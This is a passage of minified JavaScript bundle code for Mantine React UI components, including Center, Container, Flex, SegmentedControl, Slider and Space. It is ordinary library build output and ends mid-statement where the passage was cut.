hx=Se((e,{inline:t})=>({root:{display:t?"inline-flex":"flex",alignItems:"center",justifyContent:"center"}}));const wx=hx;var _x=Object.defineProperty,ul=Object.getOwnPropertySymbols,Jg=Object.prototype.hasOwnProperty,qg=Object.prototype.propertyIsEnumerable,Id=(e,t,r)=>t in e?_x(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Sx=(e,t)=>{for(var r in t||(t={}))Jg.call(t,r)&&Id(e,r,t[r]);if(ul)for(var r of ul(t))qg.call(t,r)&&Id(e,r,t[r]);return e},Px=(e,t)=>{var r={};for(var n in e)Jg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&ul)for(var n of ul(e))t.indexOf(n)<0&&qg.call(e,n)&&(r[n]=e[n]);return r};const ev=$.exports.forwardRef((e,t)=>{const r=he("Center",{},e),{inline:n,className:o,unstyled:i,variant:l}=r,a=Px(r,["inline","className","unstyled","variant"]),{classes:s,cx:u}=wx({inline:n},{name:"Center",unstyled:i,variant:l});return P(me,{...Sx({ref:t,className:u(s.root,o)},a)})});ev.displayName="@mantine/core/Center";const La=ev;var Ox=Object.defineProperty,xx=Object.defineProperties,$x=Object.getOwnPropertyDescriptors,Md=Object.getOwnPropertySymbols,kx=Object.prototype.hasOwnProperty,bx=Object.prototype.propertyIsEnumerable,Ld=(e,t,r)=>t in e?Ox(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Ex=(e,t)=>{for(var r in t||(t={}))kx.call(t,r)&&Ld(e,r,t[r]);if(Md)for(var r of Md(t))bx.call(t,r)&&Ld(e,r,t[r]);return e},Cx=(e,t)=>xx(e,$x(t));const Fa={xs:w(16),sm:w(20),md:w(24),lg:w(30),xl:w(36)};var Nx=Se((e,{labelPosition:t},{size:r})=>({root:{},body:{display:"flex"},labelWrapper:Cx(Ex({},e.fn.fontStyles()),{display:"inline-flex",flexDirection:"column",WebkitTapHighlightColor:"transparent",fontSize:r in Fa?V({size:r,sizes:e.fontSizes}):void 0,lineHeight:r in Fa?V({size:r,sizes:Fa}):void 0,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,cursor:e.cursorType,order:t==="left"?1:2}),description:{marginTop:`calc(${e.spacing.xs} / 2)`,[t==="left"?"paddingRight":"paddingLeft"]:e.spacing.sm},error:{marginTop:`calc(${e.spacing.xs} / 2)`,[t==="left"?"paddingRight":"paddingLeft"]:e.spacing.sm},label:{cursor:e.cursorType,[t==="left"?"paddingRight":"paddingLeft"]:e.spacing.sm,"&[data-disabled]":{color:e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[5]}}}));const Tx=Nx;var zx=Object.defineProperty,cl=Object.getOwnPropertySymbols,tv=Object.prototype.hasOwnProperty,rv=Object.prototype.propertyIsEnumerable,Fd=(e,t,r)=>t in e?zx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Rx=(e,t)=>{for(var r in t||(t={}))tv.call(t,r)&&Fd(e,r,t[r]);if(cl)for(var r of cl(t))rv.call(t,r)&&Fd(e,r,t[r]);return e},Dx=(e,t)=>{var r={};for(var n in e)tv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&cl)for(var n of cl(e))t.indexOf(n)<0&&rv.call(e,n)&&(r[n]=e[n]);return r};function nv(e){var t=e,{__staticSelector:r,className:n,classNames:o,styles:i,unstyled:l,children:a,label:s,description:u,id:p,disabled:m,error:d,size:g,labelPosition:h,variant:v}=t,x=Dx(t,["__staticSelector","className","classNames","styles","unstyled","children","label","description","id","disabled","error","size","labelPosition","variant"]);const{classes:f,cx:c}=Tx({labelPosition:h},{name:r,styles:i,classNames:o,unstyled:l,variant:v,size:g});return P(me,{...Rx({className:c(f.root,n)},x),children:Z("div",{className:c(f.body),children:[a,Z("div",{className:f.labelWrapper,children:[s&&P("label",{className:f.label,"data-disabled":m||void 0,htmlFor:p,children:s}),u&&P(Vs.Description,{className:f.description,children:u}),d&&d!=="boolean"&&P(Vs.Error,{className:f.error,children:d})]})]})})}nv.displayName="@mantine/core/InlineInput";var jx=Se((e,{fluid:t,sizes:r},{size:n})=>({root:{paddingLeft:e.spacing.md,paddingRight:e.spacing.md,maxWidth:t?"100%":V({size:n,sizes:r}),marginLeft:"auto",marginRight:"auto"}}));const Ix=jx;var Mx=Object.defineProperty,fl=Object.getOwnPropertySymbols,ov=Object.prototype.hasOwnProperty,iv=Object.prototype.propertyIsEnumerable,Ad=(e,t,r)=>t in e?Mx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Lx=(e,t)=>{for(var r in t||(t={}))ov.call(t,r)&&Ad(e,r,t[r]);if(fl)for(var r of fl(t))iv.call(t,r)&&Ad(e,r,t[r]);return e},Fx=(e,t)=>{var r={};for(var n in e)ov.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&fl)for(var n of fl(e))t.indexOf(n)<0&&iv.call(e,n)&&(r[n]=e[n]);return r};const Ax={sizes:{xs:w(540),sm:w(720),md:w(960),lg:w(1140),xl:w(1320)}},Kt=$.exports.forwardRef((e,t)=>{const r=he("Container",Ax,e),{className:n,fluid:o,size:i,unstyled:l,sizes:a,variant:s}=r,u=Fx(r,["className","fluid","size","unstyled","sizes","variant"]),{classes:p,cx:m}=Ix({fluid:o,sizes:a},{unstyled:l,name:"Container",variant:s,size:i});return P(me,{...Lx({className:m(p.root,n),ref:t},u)})});Kt.displayName="@mantine/core/Container";const Wx={gap:{type:"spacing",property:"gap"},rowGap:{type:"spacing",property:"rowGap"},columnGap:{type:"spacing",property:"columnGap"},align:{type:"identity",property:"alignItems"},justify:{type:"identity",property:"justifyContent"},wrap:{type:"identity",property:"flexWrap"},direction:{type:"identity",property:"flexDirection"}};var Vx=Object.defineProperty,Hx=Object.defineProperties,Bx=Object.getOwnPropertyDescriptors,dl=Object.getOwnPropertySymbols,lv=Object.prototype.hasOwnProperty,av=Object.prototype.propertyIsEnumerable,Wd=(e,t,r)=>t in e?Vx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Ux=(e,t)=>{for(var r in t||(t={}))lv.call(t,r)&&Wd(e,r,t[r]);if(dl)for(var r of dl(t))av.call(t,r)&&Wd(e,r,t[r]);return e},Gx=(e,t)=>Hx(e,Bx(t)),Yx=(e,t)=>{var r={};for(var n in e)lv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&dl)for(var n of dl(e))t.indexOf(n)<0&&av.call(e,n)&&(r[n]=e[n]);return r};const Qx={},sv=$.exports.forwardRef((e,t)=>{const r=he("Flex",Qx,e),{gap:n,rowGap:o,columnGap:i,align:l,justify:a,wrap:s,direction:u,sx:p}=r,m=Yx(r,["gap","rowGap","columnGap","align","justify","wrap","direction","sx"]);return P(me,{...Gx(Ux({},m),{sx:[{display:"flex"},d=>Ws({gap:n,rowGap:o,columnGap:i,align:l,justify:a,wrap:s,direction:u},d,Wx),...Dy(p)],ref:t})})});sv.displayName="@mantine/core/Flex";var Xx=Object.defineProperty,Kx=Object.defineProperties,Zx=Object.getOwnPropertyDescriptors,Vd=Object.getOwnPropertySymbols,Jx=Object.prototype.hasOwnProperty,qx=Object.prototype.propertyIsEnumerable,Hd=(e,t,r)=>t in e?Xx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Zo=(e,t)=>{for(var r in t||(t={}))Jx.call(t,r)&&Hd(e,r,t[r]);if(Vd)for(var r of Vd(t))qx.call(t,r)&&Hd(e,r,t[r]);return e},e$=(e,t)=>Kx(e,Zx(t));const gi=4,Bd={xs:`${w(3)} ${w(6)}`,sm:`${w(5)} ${w(10)}`,md:`${w(7)} ${w(14)}`,lg:`${w(9)} ${w(16)}`,xl:`${w(12)} ${w(20)}`};var t$=Se((e,{fullWidth:t,color:r,radius:n,shouldAnimate:o,transitionDuration:i,transitionTimingFunction:l,orientation:a},{size:s})=>{const u=a==="vertical",p=e.fn.variant({variant:"filled",color:r});return{label:e$(Zo(Zo({ref:Nn("label")},e.fn.focusStyles()),e.fn.fontStyles()),{WebkitTapHighlightColor:"transparent",borderRadius:e.fn.radius(n),fontWeight:500,fontSize:s in e.fontSizes?e.fontSizes[s]:e.fontSizes.sm,cursor:"pointer",display:"block",textAlign:"center",padding:Bd[s in Bd?s:"sm"],whiteSpace:"nowrap",overflow:"hidden",textOverflow:"ellipsis",userSelect:"none",color:e.colorScheme==="dark"?e.colors.dark[1]:e.colors.gray[7],transition:`color ${o?0:i}ms ${l||e.transitionTimingFunction}`,"&:hover":{color:e.colorScheme==="dark"?e.colors.dark[0]:e.black},"&[data-disabled]":{"&, &:hover":{color:e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[5],cursor:"not-allowed"}},"&[data-active]":{"&, &:hover":{color:r||e.colorScheme==="dark"?e.white:e.black}}}),control:{ref:Nn("control"),position:"relative",boxSizing:"border-box",flex:1,zIndex:2,transition:`border-left-color ${o?0:i}ms ${l||e.transitionTimingFunction}`,"&:not(:first-of-type)":{borderStyle:"solid",borderWidth:u?`${w(1)} 0 0 0`:`0 0 0 ${w(1)}`,borderColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}},input:{height:0,width:0,position:"absolute",overflow:"hidden",whiteSpace:"nowrap",opacity:0,"&:focus":{outline:"none",[`& + .${Nn("label")}`]:Zo({},e.focusRing==="always"||e.focusRing==="auto"?e.focusRingStyles.styles(e):e.focusRingStyles.resetStyles(e)),"&:focus:not(:focus-visible)":{[`& + .${Nn("label")}`]:Zo({},e.focusRing==="auto"||e.focusRing==="never"?e.focusRingStyles.resetStyles(e):null)}}},root:{position:"relative",display:t||u?"flex":"inline-flex",width:u&&!t?"max-content":"auto",flexDirection:u?"column":"row",backgroundColor:e.colorScheme==="dark"?e.colors.dark[8]:e.colors.gray[1],borderRadius:e.fn.radius(n),overflow:"hidden",padding:gi},controlActive:{borderLeftColor:"transparent !important",borderTopColor:"transparent !important",[`& + .${Nn("control")}`]:{borderLeftColor:"transparent !important",borderTopColor:"transparent !important"},borderRadius:e.fn.radius(n),boxShadow:o?r||e.colorScheme==="dark"?"none":e.shadows.xs:void 0,backgroundColor:o?r?p.background:e.colorScheme==="dark"?e.colors.dark[5]:e.white:void 0},indicator:{boxSizing:"border-box",borderRadius:e.fn.radius(n),position:"absolute",zIndex:1,boxShadow:r||e.colorScheme==="dark"?"none":e.shadows.xs,transition:`transform ${o?0:i}ms ${e.transitionTimingFunction}, width ${o?0:i/2}ms ${l||e.transitionTimingFunction}`,backgroundColor:r?p.background:e.colorScheme==="dark"?e.colors.dark[5]:e.white}}});const r$=t$;var n$=Object.defineProperty,pl=Object.getOwnPropertySymbols,uv=Object.prototype.hasOwnProperty,cv=Object.prototype.propertyIsEnumerable,Ud=(e,t,r)=>t in e?n$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,o$=(e,t)=>{for(var r in t||(t={}))uv.call(t,r)&&Ud(e,r,t[r]);if(pl)for(var r of pl(t))cv.call(t,r)&&Ud(e,r,t[r]);return e},i$=(e,t)=>{var r={};for(var n in e)uv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&pl)for(var n of pl(e))t.indexOf(n)<0&&cv.call(e,n)&&(r[n]=e[n]);return r};const l$={disabled:!1,size:"sm",transitionDuration:200},fv=$.exports.forwardRef((e,t)=>{var r,n,o,i;const l=he("SegmentedControl",l$,e),{className:a,disabled:s,data:u,name:p,value:m,onChange:d,color:g,fullWidth:h,radius:v,size:x,transitionDuration:f,transitionTimingFunction:c,classNames:y,styles:S,defaultValue:k,orientation:b,unstyled:O,variant:N,readOnly:H}=l,R=i$(l,["className","disabled","data","name","value","onChange","color","fullWidth","radius","size","transitionDuration","transitionTimingFunction","classNames","styles","defaultValue","orientation","unstyled","variant","readOnly"]),I=vr(),G=ug(),Y=I.respectReducedMotion?G:!1,ce=u.map(W=>typeof W=="string"?{label:W,value:W}:W),re=$.exports.useRef(),[ze,ne]=$.exports.useState(!1),[T,F]=na({value:m,defaultValue:k,finalValue:Array.isArray(ce)&&(i=(o=(r=ce.find(W=>!W.disabled))==null?void 0:r.value)!=null?o:(n=ce[0])==null?void 0:n.value)!=null?i:null,onChange:d}),{classes:M,cx:B}=r$({fullWidth:h,color:g,radius:v,shouldAnimate:Y||!ze,transitionDuration:f,transitionTimingFunction:c,orientation:b},{name:"SegmentedControl",classNames:y,styles:S,unstyled:O,variant:N,size:x}),[_,C]=$.exports.useState({width:0,height:0,translate:[0,0]}),z=ag(p),D=$.exports.useRef({}),[j,A]=CS();lg(()=>{re.current?ne(!0):(re.current=!0,ne(!1))}),$.exports.useEffect(()=>{if(T in D.current&&j.current){const W=D.current[T],Ze=W.getBoundingClientRect(),ae=W.offsetWidth/Ze.width,se=Ze.width*ae||0,jt=Ze.height*ae||0,wn=A.width-W.parentElement.offsetLeft+gi-se,Ir=W.parentElement.offsetLeft-gi;C({width:se,height:jt,translate:[I.dir==="rtl"?wn:Ir,W.parentElement.offsetTop-gi]})}},[T,A]);const U=ce.map(W=>Z("div",{className:B(M.control,{[M.controlActive]:T===W.value}),children:[P("input",{className:M.input,disabled:s||W.disabled,type:"radio",name:z,value:W.value,id:`${z}-${W.value}`,checked:T===W.value,onChange:()=>!H&&F(W.value)}),P("label",{className:M.label,"data-active":T===W.value&&!(s||W.disabled)||void 0,"data-disabled":s||W.disabled||void 0,htmlFor:`${z}-${W.value}`,ref:Ze=>{D.current[W.value]=Ze},children:W.label})]},W.value)),te=sg(j,t);return ce.length===0?null:Z(me,{...o$({className:B(M.root,a),ref:te},R),children:[typeof T=="string"&&ze&&P(me,{component:"span",className:M.indicator,sx:{width:_.width,height:_.height,transform:`translate(${_.translate[0]}px, ${_.translate[1]}px)`}}),U]})});fv.displayName="@mantine/core/SegmentedControl";function dv({value:e,min:t,max:r}){const n=(e-t)/(r-t)*100;return Math.min(Math.max(n,0),100)}function a$({value:e,containerWidth:t,min:r,max:n,step:o,precision:i}){const a=(t?Math.min(Math.max(e,0),t)/t:e)*(n-r),s=(a!==0?Math.round(a/o)*o:0)+r,u=Math.max(s,r);return i!==void 0?Number(u.toFixed(i)):u}var s$=Object.defineProperty,u$=Object.defineProperties,c$=Object.getOwnPropertyDescriptors,Gd=Object.getOwnPropertySymbols,f$=Object.prototype.hasOwnProperty,d$=Object.prototype.propertyIsEnumerable,Yd=(e,t,r)=>t in e?s$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,p$=(e,t)=>{for(var r in t||(t={}))f$.call(t,r)&&Yd(e,r,t[r]);if(Gd)for(var r of Gd(t))d$.call(t,r)&&Yd(e,r,t[r]);return e},m$=(e,t)=>u$(e,c$(t));const tt={xs:w(4),sm:w(6),md:w(8),lg:w(10),xl:w(12)};var y$=Se((e,{disabled:t},{size:r})=>({root:m$(p$({},e.fn.fontStyles()),{WebkitTapHighlightColor:"transparent",outline:0,height:`calc(${V({sizes:tt,size:r})} * 2)`,display:"flex",alignItems:"center",cursor:t?"not-allowed":"pointer",touchAction:"none"})}));const g$=y$;var v$=Object.defineProperty,h$=Object.defineProperties,w$=Object.getOwnPropertyDescriptors,Qd=Object.getOwnPropertySymbols,_$=Object.prototype.hasOwnProperty,S$=Object.prototype.propertyIsEnumerable,Xd=(e,t,r)=>t in e?v$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,P$=(e,t)=>{for(var r in t||(t={}))_$.call(t,r)&&Xd(e,r,t[r]);if(Qd)for(var r of Qd(t))S$.call(t,r)&&Xd(e,r,t[r]);return e},O$=(e,t)=>h$(e,w$(t)),x$=Se((e,{color:t,disabled:r,thumbSize:n},{size:o})=>({label:{position:"absolute",top:w(-36),backgroundColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[9],fontSize:e.fontSizes.xs,color:e.white,padding:`calc(${e.spacing.xs} / 2)`,borderRadius:e.radius.sm,whiteSpace:"nowrap",pointerEvents:"none",userSelect:"none",touchAction:"none"},thumb:O$(P$({},e.fn.focusStyles()),{boxSizing:"border-box",position:"absolute",display:r?"none":"flex",height:n?w(n):`calc(${V({sizes:tt,size:o})} * 2)`,width:n?w(n):`calc(${V({sizes:tt,size:o})} * 2)`,backgroundColor:e.colorScheme==="dark"?e.fn.themeColor(t,e.fn.primaryShade()):e.white,border:`${w(4)} solid ${e.colorScheme==="dark"?e.white:e.fn.themeColor(t,e.fn.primaryShade())}`,color:e.colorScheme==="dark"?e.white:e.fn.themeColor(t,e.fn.primaryShade()),transform:"translate(-50%, -50%)",top:"50%",cursor:"pointer",borderRadius:1e3,alignItems:"center",justifyContent:"center",transitionDuration:"100ms",transitionProperty:"box-shadow, transform",transitionTimingFunction:e.transitionTimingFunction,zIndex:3,userSelect:"none",touchAction:"none"}),dragging:{transform:"translate(-50%, -50%) scale(1.05)",boxShadow:e.shadows.sm}}));const $$=x$,pv=$.exports.forwardRef(({max:e,min:t,value:r,position:n,label:o,dragging:i,onMouseDown:l,color:a,classNames:s,styles:u,size:p,labelTransition:m,labelTransitionDuration:d,labelTransitionTimingFunction:g,labelAlwaysOn:h,thumbLabel:v,onFocus:x,onBlur:f,showLabelOnHover:c,children:y=null,disabled:S,unstyled:k,thumbSize:b,variant:O},N)=>{const{classes:H,cx:R,theme:I}=$$({color:a,disabled:S,thumbSize:b},{name:"Slider",classNames:s,styles:u,unstyled:k,variant:O,size:p}),[G,Y]=$.exports.useState(!1),ce=h||i||G||c;return Z(me,{tabIndex:0,role:"slider","aria-label":v,"aria-valuemax":e,"aria-valuemin":t,"aria-valuenow":r,ref:N,className:R(H.thumb,{[H.dragging]:i}),onFocus:()=>{Y(!0),typeof x=="function"&&x()},onBlur:()=>{Y(!1),typeof f=="function"&&f()},onTouchStart:l,onMouseDown:l,onClick:re=>re.stopPropagation(),style:{[I.dir==="rtl"?"right":"left"]:`${n}%`},children:[y,P(Tg,{mounted:o!=null&&ce,duration:d,transition:m,timingFunction:g||I.transitionTimingFunction,children:re=>P("div",{style:re,className:H.label,children:o})})]})});pv.displayName="@mantine/core/SliderThumb";function k$({mark:e,offset:t,value:r,inverted:n=!1}){return n?typeof t=="number"&&e.value<=t||e.value>=r:typeof t=="number"?e.value>=t&&e.value<=r:e.value<=r}var b$=Se((e,{color:t,disabled:r},{size:n})=>({markWrapper:{position:"absolute",top:0,zIndex:2},mark:{boxSizing:"border-box",border:`${w(2)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2]}`,height:V({sizes:tt,size:n}),width:V({sizes:tt,size:n}),borderRadius:1e3,transform:`translateX(calc(-${V({sizes:tt,size:n})} / 2))`,backgroundColor:e.white},markFilled:{borderColor:r?e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[4]:e.fn.variant({variant:"filled",color:t}).background},markLabel:{transform:"translate(-50%, 0)",fontSize:e.fontSizes.sm,color:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6],marginTop:`calc(${e.spacing.xs} / 2)`,whiteSpace:"nowrap"}}));const E$=b$;function mv({marks:e,color:t,size:r,min:n,max:o,value:i,classNames:l,styles:a,offset:s,onChange:u,disabled:p,unstyled:m,inverted:d,variant:g}){const{classes:h,cx:v}=E$({color:t,disabled:p},{name:"Slider",classNames:l,styles:a,unstyled:m,variant:g,size:r}),x=e.map((f,c)=>Z(me,{className:h.markWrapper,sx:{left:`${dv({value:f.value,min:n,max:o})}%`},children:[P("div",{className:v(h.mark,{[h.markFilled]:k$({mark:f,value:i,offset:s,inverted:d})})}),f.label&&P("div",{className:h.markLabel,onMouseDown:y=>{y.stopPropagation(),u(f.value)},onTouchStart:y=>{y.stopPropagation(),u(f.value)},children:f.label})]},c));return P("div",{children:x})}mv.displayName="@mantine/core/SliderMarks";var C$=Se((e,{radius:t,color:r,disabled:n,inverted:o},{size:i})=>({track:{position:"relative",height:V({sizes:tt,size:i}),width:"100%",marginRight:V({size:i,sizes:tt}),marginLeft:V({size:i,sizes:tt}),"&::before":{content:'""',position:"absolute",top:0,bottom:0,borderRadius:e.fn.radius(t),right:`calc(${V({size:i,sizes:tt})} * -1)`,left:`calc(${V({size:i,sizes:tt})} * -1)`,backgroundColor:o?n?e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[4]:e.fn.variant({variant:"filled",color:r}).background:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],zIndex:0}},bar:{position:"absolute",zIndex:1,top:0,bottom:0,backgroundColor:o?e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2]:n?e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[4]:e.fn.variant({variant:"filled",color:r}).background,borderRadius:e.fn.radius(t)}}));const N$=C$;var T$=Object.defineProperty,z$=Object.defineProperties,R$=Object.getOwnPropertyDescriptors,ml=Object.getOwnPropertySymbols,yv=Object.prototype.hasOwnProperty,gv=Object.prototype.propertyIsEnumerable,Kd=(e,t,r)=>t in e?T$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,D$=(e,t)=>{for(var r in t||(t={}))yv.call(t,r)&&Kd(e,r,t[r]);if(ml)for(var r of ml(t))gv.call(t,r)&&Kd(e,r,t[r]);return e},j$=(e,t)=>z$(e,R$(t)),I$=(e,t)=>{var r={};for(var n in e)yv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&ml)for(var n of ml(e))t.indexOf(n)<0&&gv.call(e,n)&&(r[n]=e[n]);return r};function vv(e){var t=e,{filled:r,size:n,color:o,classNames:i,styles:l,radius:a,children:s,offset:u,onMouseLeave:p,onMouseEnter:m,disabled:d,marksOffset:g,unstyled:h,inverted:v,variant:x}=t,f=I$(t,["filled","size","color","classNames","styles","radius","children","offset","onMouseLeave","onMouseEnter","disabled","marksOffset","unstyled","inverted","variant"]);const{classes:c}=N$({color:o,radius:a,disabled:d,inverted:v},{name:"Slider",classNames:i,styles:l,unstyled:h,variant:x,size:n});return Z("div",{className:c.track,onMouseLeave:p,onMouseEnter:m,children:[P(me,{className:c.bar,sx:{left:`calc(${u}% - ${V({size:n,sizes:tt})})`,width:`calc(${r}% + ${V({size:n,sizes:tt})})`}}),s,P(mv,{...j$(D$({},f),{size:n,color:o,offset:g,classNames:i,styles:l,disabled:d,unstyled:h,inverted:v,variant:x})})]})}vv.displayName="@mantine/core/SliderTrack";var M$=Object.defineProperty,L$=Object.defineProperties,F$=Object.getOwnPropertyDescriptors,yl=Object.getOwnPropertySymbols,hv=Object.prototype.hasOwnProperty,wv=Object.prototype.propertyIsEnumerable,Zd=(e,t,r)=>t in e?M$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,A$=(e,t)=>{for(var r in t||(t={}))hv.call(t,r)&&Zd(e,r,t[r]);if(yl)for(var r of yl(t))wv.call(t,r)&&Zd(e,r,t[r]);return e},W$=(e,t)=>L$(e,F$(t)),V$=(e,t)=>{var r={};for(var n in e)hv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&yl)for(var n of yl(e))t.indexOf(n)<0&&wv.call(e,n)&&(r[n]=e[n]);return r};const _v=$.exports.forwardRef((e,t)=>{var r=e,{className:n,size:o,classNames:i,styles:l,disabled:a,unstyled:s,variant:u}=r,p=V$(r,["className","size","classNames","styles","disabled","unstyled","variant"]);const{classes:m,cx:d}=g$({disabled:a},{name:"Slider",classNames:i,styles:l,unstyled:s,variant:u,size:o});return P(me,{...W$(A$({},p),{tabIndex:-1,className:d(m.root,n),ref:t})})});_v.displayName="@mantine/core/SliderRoot";var H$=Object.defineProperty,B$=Object.defineProperties,U$=Object.getOwnPropertyDescriptors,gl=Object.getOwnPropertySymbols,Sv=Object.prototype.hasOwnProperty,Pv=Object.prototype.propertyIsEnumerable,Jd=(e,t,r)=>t in e?H$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,G$=(e,t)=>{for(var r in t||(t={}))Sv.call(t,r)&&Jd(e,r,t[r]);if(gl)for(var r of gl(t))Pv.call(t,r)&&Jd(e,r,t[r]);return e},Y$=(e,t)=>B$(e,U$(t)),Q$=(e,t)=>{var r={};for(var n in e)Sv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&gl)for(var n of gl(e))t.indexOf(n)<0&&Pv.call(e,n)&&(r[n]=e[n]);return r};const X$={size:"md",radius:"xl",min:0,max:100,step:1,marks:[],label:e=>e,labelTransition:"skew-down",labelTransitionDuration:0,labelAlwaysOn:!1,thumbLabel:"",showLabelOnHover:!0,disabled:!1,scale:e=>e},Ov=$.exports.forwardRef((e,t)=>{const r=he("Slider",X$,e),{classNames:n,styles:o,color:i,value:l,onChange:a,onChangeEnd:s,size:u,radius:p,min:m,max:d,step:g,precision:h,defaultValue:v,name:x,marks:f,label:c,labelTransition:y,labelTransitionDuration:S,labelTransitionTimingFunction:k,labelAlwaysOn:b,thumbLabel:O,showLabelOnHover:N,thumbChildren:H,disabled:R,unstyled:I,thumbSize:G,scale:Y,inverted:ce,variant:re}=r,ze=Q$(r,["classNames","styles","color","value","onChange","onChangeEnd","size","radius","min","max","step","precision","defaultValue","name","marks","label","labelTransition","labelTransitionDuration","labelTransitionTimingFunction","labelAlwaysOn","thumbLabel","showLabelOnHover","thumbChildren","disabled","unstyled","thumbSize","scale","inverted","variant"]),ne=vr(),[T,F]=$.exports.useState(!1),[M,B]=na({value:typeof l=="number"?Xn(l,m,d):l,defaultValue:typeof v=="number"?Xn(v,m,d):v,finalValue:Xn(0,m,d),onChange:a}),_=$.exports.useRef(M),C=$.exports.useRef(),z=dv({value:M,min:m,max:d}),D=Y(M),j=typeof c=="function"?c(D):c,A=$.exports.useCallback(({x:ae})=>{if(!R){const se=a$({value:ae,min:m,max:d,step:g,precision:h});B(se),_.current=se}},[R,m,d,g,h]),{ref:U,active:te}=bS(A,{onScrubEnd:()=>s==null?void 0:s(_.current)},ne.dir),W=ae=>{ae.stopPropagation()},Ze=ae=>{if(!R)switch(ae.key){case"ArrowUp":{ae.preventDefault(),C.current.focus();const se=Math.min(Math.max(M+g,m),d);s==null||s(se),B(se);break}case"ArrowRight":{ae.preventDefault(),C.current.focus();const se=Math.min(Math.max(ne.dir==="rtl"?M-g:M+g,m),d);s==null||s(se),B(se);break}case"ArrowDown":{ae.preventDefault(),C.current.focus();const se=Math.min(Math.max(M-g,m),d);s==null||s(se),B(se);break}case"ArrowLeft":{ae.preventDefault(),C.current.focus();const se=Math.min(Math.max(ne.dir==="rtl"?M+g:M-g,m),d);s==null||s(se),B(se);break}case"Home":{ae.preventDefault(),C.current.focus(),s==null||s(m),B(m);break}case"End":{ae.preventDefault(),C.current.focus(),s==null||s(d),B(d);break}}};return Z(_v,{...Y$(G$({},ze),{size:u,ref:sg(U,t),onKeyDownCapture:Ze,onMouseDownCapture:()=>{var ae;return(ae=U.current)==null?void 0:ae.focus()},classNames:n,styles:o,disabled:R,unstyled:I,variant:re}),children:[P(vv,{inverted:ce,offset:0,filled:z,marks:f,size:u,radius:p,color:i,min:m,max:d,value:D,onChange:B,onMouseEnter:N?()=>F(!0):void 0,onMouseLeave:N?()=>F(!1):void 0,classNames:n,styles:o,disabled:R,unstyled:I,variant:re,children:P(pv,{max:d,min:m,value:D,position:z,dragging:te,color:i,size:u,label:j,ref:C,onMouseDown:W,labelTransition:y,labelTransitionDuration:S,labelTransitionTimingFunction:k,labelAlwaysOn:b,classNames:n,styles:o,thumbLabel:O,showLabelOnHover:N&&T,disabled:R,unstyled:I,thumbSize:G,variant:re,children:H})}),P("input",{type:"hidden",name:x,value:D})]})});Ov.displayName="@mantine/core/Slider";var K$=Object.defineProperty,vl=Object.getOwnPropertySymbols,xv=Object.prototype.hasOwnProperty,$v=Object.prototype.propertyIsEnumerable,qd=(e,t,r)=>t in e?K$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Z$=(e,t)=>{for(var r in t||(t={}))xv.call(t,r)&&qd(e,r,t[r]);if(vl)for(var r of vl(t))$v.call(t,r)&&qd(e,r,t[r]);return e},J$=(e,t)=>{var r={};for(var n in e)xv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&vl)for(var n of vl(e))t.indexOf(n)<0&&$v.call(e,n)&&(r[n]=e[n]);return r};const q$={w:0,h:0},Ln=$.exports.forwardRef((e,t)=>{const r=he("Space",q$,e),{w:n,h:o}=r,i=J$(r,["w","h"]);return P(me,{...Z$({ref:t,w:n,miw:n,h:o,mih:o},i)})});Ln.displayName="@mantine/core/Space";const kv=$.exports.createContext(null),ek=kv.Provider,tk=()=>$.exports.useContext(kv);var rk=Object.defineProperty,hl=Object.getOwnPropertySymbols,bv=Object.prototype.hasOwnProperty,Ev=Object.prototype.propertyIsEnumerable,ep=(e,t,r)=>t in e?rk(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,tp=(e,t)=>{for(var r in t||(t={}))bv.call(t,r)&&ep(e,r,t[r]);if(hl)for(var r of hl(t))Ev.call(t,r)&&ep(e,r,t[r]);return e},nk=(e,t)=>{var r={};for(var n in e)bv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&hl)for(var n of hl(e))t.indexOf(n)<0&&Ev.call(e,n)&&(r[n]=e[n]);return r};const ok={size:"sm"},Cv=$.exports.forwardRef((e,t)=>{const r=he("SwitchGroup",ok,e),{children:n,value:o,defaultValue:i,onChange:l,size:a,wrapperProps:s}=r,u=nk(r,["children","value","defaultValue","onChange","size","wrapperProps"]),[p,m]=na({value:o,defaultValue:i,finalValue:[],onChange:l});return 